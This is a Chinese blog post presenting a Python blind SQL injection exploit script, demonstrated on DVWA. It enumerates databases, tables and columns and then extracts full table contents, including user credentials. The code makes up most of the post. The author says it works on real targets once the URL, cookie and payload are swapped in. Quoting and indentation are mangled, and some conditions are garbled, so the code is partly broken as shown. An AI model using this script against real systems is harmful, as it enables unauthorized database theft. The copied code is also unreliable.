Python安全之编写SQL注入漏洞利用脚本(EXP)

背景:
最近护网在一次渗透测试过程发现了一处SQL盲注,在SQLMAP上跑了下居然没跑出结果,原因不明也没过多分析。于是自己写了个简单脚本作为测试。本例中以靶机DVWA中的盲注为例。实际工作中将脚本中的cookie、sql_payload、url以及请求方式修改成你实际环境中的就可以用了。最终执行效果如下:
在这里插入图片描述

代码比较简单,值得一提的是怎么判断库名所有字符已经结束了,我用的是计数器。计数器num每次遍历+1;计数器a每次查找成功+1。当查找为空时a就不再加,导致num>a。也就是说当num和a不相等时,说明库名所有字符查找完了,此时break并输出整个库名。但是,查询表内数据的时候不能用这种方法,因为表内数据可能包含空格,当遇到空格时程序就会误判,此时就需要先计算整个字符串的长度(length),无论数据有没有空格,遍历完整个长度才结束。
代码:

import requests
import time
import prettytable as pt

proxies = {‘http’: ‘http://127.0.0.1:8080’,
‘https’: ‘http://127.0.0.1:8080’}
cookie = {‘security’:‘low’,‘PHPSESSID’: ‘qh6b2rg1b3h9nqbfacbkj845g6’}
s = requests.session()

def main():
pass

查看当前数据库名函数

def get_database():
name_list=[]
a = 1
for i in range(1,15):
num=i
if num!=a:
name = ‘’.join(name_list)
print(‘[*]当前数据库名:’ + name)
break

    for letter in range(65, 91):
        x=chr(letter).lower()
        y="'"+chr(letter).lower()+"'"
        sql_payload="1'and "+y+"=(select substring(DATABASE(),"+str(num)+",1))-- "
        cookie = {'security': 'high', 'PHPSESSID': 'pn5uejocpt14g05u6hcs05bm67','id':sql_payload}
        url = "http://192.168.8.13/vulnerabilities/sqli_blind/?id=" + sql_payload + "&Submit=Submit"
        rs = s.get(url, cookies=cookie)
        time.sleep(10)
        if 'User ID exists in the database' in rs.text:
            a+=1
            print('[*]当前第'+str(num)+'位:'+x)
            name_list.append(x)
            break

查询所有数据库名函数

def get_databases():
chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_’
name_dict={}
for n in range(0,50):
z = str(n)
name_list = []
a = 1
for i in range(1,50):
if i!=a: #判断是否结束,当字符为空(也就是当a不再+1,所以不等于i的时候)时认为一个字符串结束了。
name = ‘’.join(name_list)
name_dict[n+1] = name
print(‘[*]第’+str(n+1)+‘个库名:’ + name)
break

        for char in chars:
            x = str(char)
            y = "'" + x + "'"
            sql_payload="1'and "+y+"=binary substring((SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit "+z+",1),"+str(i)+",1)-- "
            url="http://192.168.8.13/vulnerabilities/sqli_blind/?id="+sql_payload+"&Submit=Submit"
            rs = s.get(url, cookies=cookie)
            # time.sleep(10)
            if 'User ID exists in the database' in rs.text:
                a+=1
                # print('[*]当前第'+str(num)+'位:'+x)
                name_list.append(x)
                break
        # print(i,a)
        if i==1 and a==1:
            print('[*]所有库名查询完毕。')
            exit()

已知库名,查看表名函数

def get_tablename(database):
chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_’
databasename=“'”+database+“'”
for n in range(0,50):
z = str(n)
tablename_list = []
a = 1
for table_str_num in range(1,50):
if a!=table_str_num:
name = ‘’.join(tablename_list)
print(‘[]第’+str(n+1)+‘表名:’ + name)
break
for char in chars:
x=str(char)
y=“'”+x+“'”
sql_payload=“1’and “+y+”=binary substr((select table_name from information_schema.tables where table_schema=”+databasename+" limit “+z+”,1),“+str(table_str_num)+”,1)-- "
url = “http://192.168.8.13/vulnerabilities/sqli_blind/?id=” + sql_payload + “&Submit=Submit”
rs = s.get(url, cookies=cookie)
# time.sleep(10)
if ‘User ID exists in the database’ in rs.text:
a += 1
# print('[
]当前第’ + str(table_str_num) + ‘位:’ + x)
tablename_list.append(str(char))
break
if table_str_num1 and a1:
print(‘[*]所有表名查询完毕。’)
exit()

已知库名表名,查看列名函数及数据函数

def get_column(database,table):
name_dict = {}
chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_’
tablename=“'”+table+“'”
for n in range(0,50):
z = str(n)
tablename_list = []
a = 1
for table_str_num in range(1,50):
if a!=table_str_num:
name = ‘’.join(tablename_list)
print(‘[]第’+str(n+1)+‘列列名:’ + name)
name_dict[n+1]=name
break
for char in chars:
x=str(char)
y=“'”+x+“'”
sql_payload=“1’and “+y+”=binary substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME =”+tablename+" limit “+z+”,1),“+str(table_str_num)+”,1)-- "
url = “http://192.168.8.13/vulnerabilities/sqli_blind/?id=” + sql_payload + “&Submit=Submit”
rs = s.get(url, cookies=cookie)
# print(url)
# time.sleep(10)
if ‘User ID exists in the database’ in rs.text:
a += 1
# print('[
]当前第’ + str(table_str_num) + ‘位:’ + x)
tablename_list.append(str(char))
break
if table_str_num1 and a1:
print(‘[*]所有列名查询完毕;开始查询表内数据:’)
# print(name_dict)
get_info(database,table,name_dict)
exit()

已知库名、表名、列字典查看表内数据函数

def get_info(database,table,name_dict):
tablename = database+“.”+ table
all_dict={} #所有行的数据保存到一个总字典
for n in range(0,65535): #行数、行号,这里最多查65535行,更严谨的方法是用select count(*)先计算行数,但考虑到太耗资源且意义不大就弃用了
z = str(n)
hang_dict={} #每行保存到一个行字典
for m in name_dict.values():
tablename_list = [] #每个单元格所有字符保存到一个列表中
a = 1
str_len=get_infolen(m,tablename,z)
if type(str_len) is int:
max_len=str_len+1
else:
max_len=0 #为空的时候实际返回的是 Notype,所以手工给个0

        # 如果第1个字段(name_dict[1])长度为空(max_len == 0),判断所有数据结束,格式化输出结果
        if m == name_dict[1] and max_len == 0:
            print('[*]已经查完所有行,格式化输出:')
            tb = pt.PrettyTable()
            key_list = []
            for i in all_dict[1].keys():
                key_list.append(i)
            tb.field_names = key_list
            for x in all_dict.values():
                value_list = []
                for y in x.values():
                    value_list.append(y)
                tb.add_row(value_list)
            # print(all_dict)
            print(tb)
            exit()

        # 遍历单元格中字符串的每位(substr函数)
        for table_str_num in range(1, max_len):  #位数
            for letter in range(32,123):    # unicode编码32到123之间的字符串
                y = "'" + chr(letter) + "'"
                sql_payload = "1'and " + y + "=binary substr((SELECT "+m+" FROM " + tablename + " limit " + z + ",1)," + str(table_str_num) + ",1)-- "
                url = "http://192.168.8.13/vulnerabilities/sqli_blind/?id=" + sql_payload + "&Submit=Submit"
                rs = s.get(url, cookies=cookie)
                if 'User ID exists in the database' in rs.text:
                    a += 1
                    # print('[*]当前第' + str(table_str_num) + '位:' +chr(letter))
                    tablename_list.append(chr(letter))  #每找到1个字符就追加到列表中
                    break
        # 一个单元格结束后打印一次
        name = ''.join(tablename_list)
        print('[*]第' + str(n + 1) + '行第'+m+'列' + name)
        hang_dict[m]=name   #一个单元格的数据作为值加入到行字典中,键是列名
    all_dict[n + 1] = hang_dict #每行结束将行字典作为值加入到总字典中,键是行号

计算表内每单元数据字符串长度函数

def get_infolen(m,tablename,z):
for b in range(0, 100):
c = “'” + str(b) + “'”
sql_len = "1’and " + c + "=length((SELECT " + m + " FROM " + tablename + " limit " + z + “,1))” + "-- "
url_len = “http://192.168.8.13/vulnerabilities/sqli_blind/?id=” + sql_len + “&Submit=Submit”
rs = s.get(url_len, cookies=cookie)
if ‘User ID exists in the database’ in rs.text:
return b

def test():
sql_payload = "1’and " + “‘+’” + "=substr((SELECT " + “user_id” + " FROM " + “dvwa.users” + " limit " + ‘0’ + “,1),” + ‘1’ + ",1)-- "
url = “http://192.168.8.13/vulnerabilities/sqli_blind/?id=” + sql_payload + “&Submit=Submit”
rs = s.get(url, cookies=cookie,proxies=proxies)
print(url)
time.sleep(10)

if name==‘main’:
# get_database()
# get_databases()
# get_tablename(‘dvwa’)
get_column(‘dvwa’,‘users’)
# name_dict={1: ‘USER_ID’, 2: ‘FIRST_NAME’, 3: ‘LAST_NAME’, 4: ‘USER’, 5: ‘PASSWORD’, 6: ‘AVATAR’, 7: ‘LAST_LOGIN’, 8: ‘FAILED_LOGIN’}
# get_info(‘dvwa’,‘users’,name_dict)

结语:
使用方法,
1、查当前库名和所有数据库名:直接执行函数,不需要传参,get_database()、get_databases();
2、查表名:需要传入数据库名,get_tablename(‘dvwa’);
3、查看数据:传入库名和表名查所有表的数据,类似SQLMAP中的-D指定库名 -T指定表名,get_column(‘dvwa’,‘users’);
————————————————
版权声明:本文为CSDN博主「沙漠网管」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_43853965/article/details/107197140

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值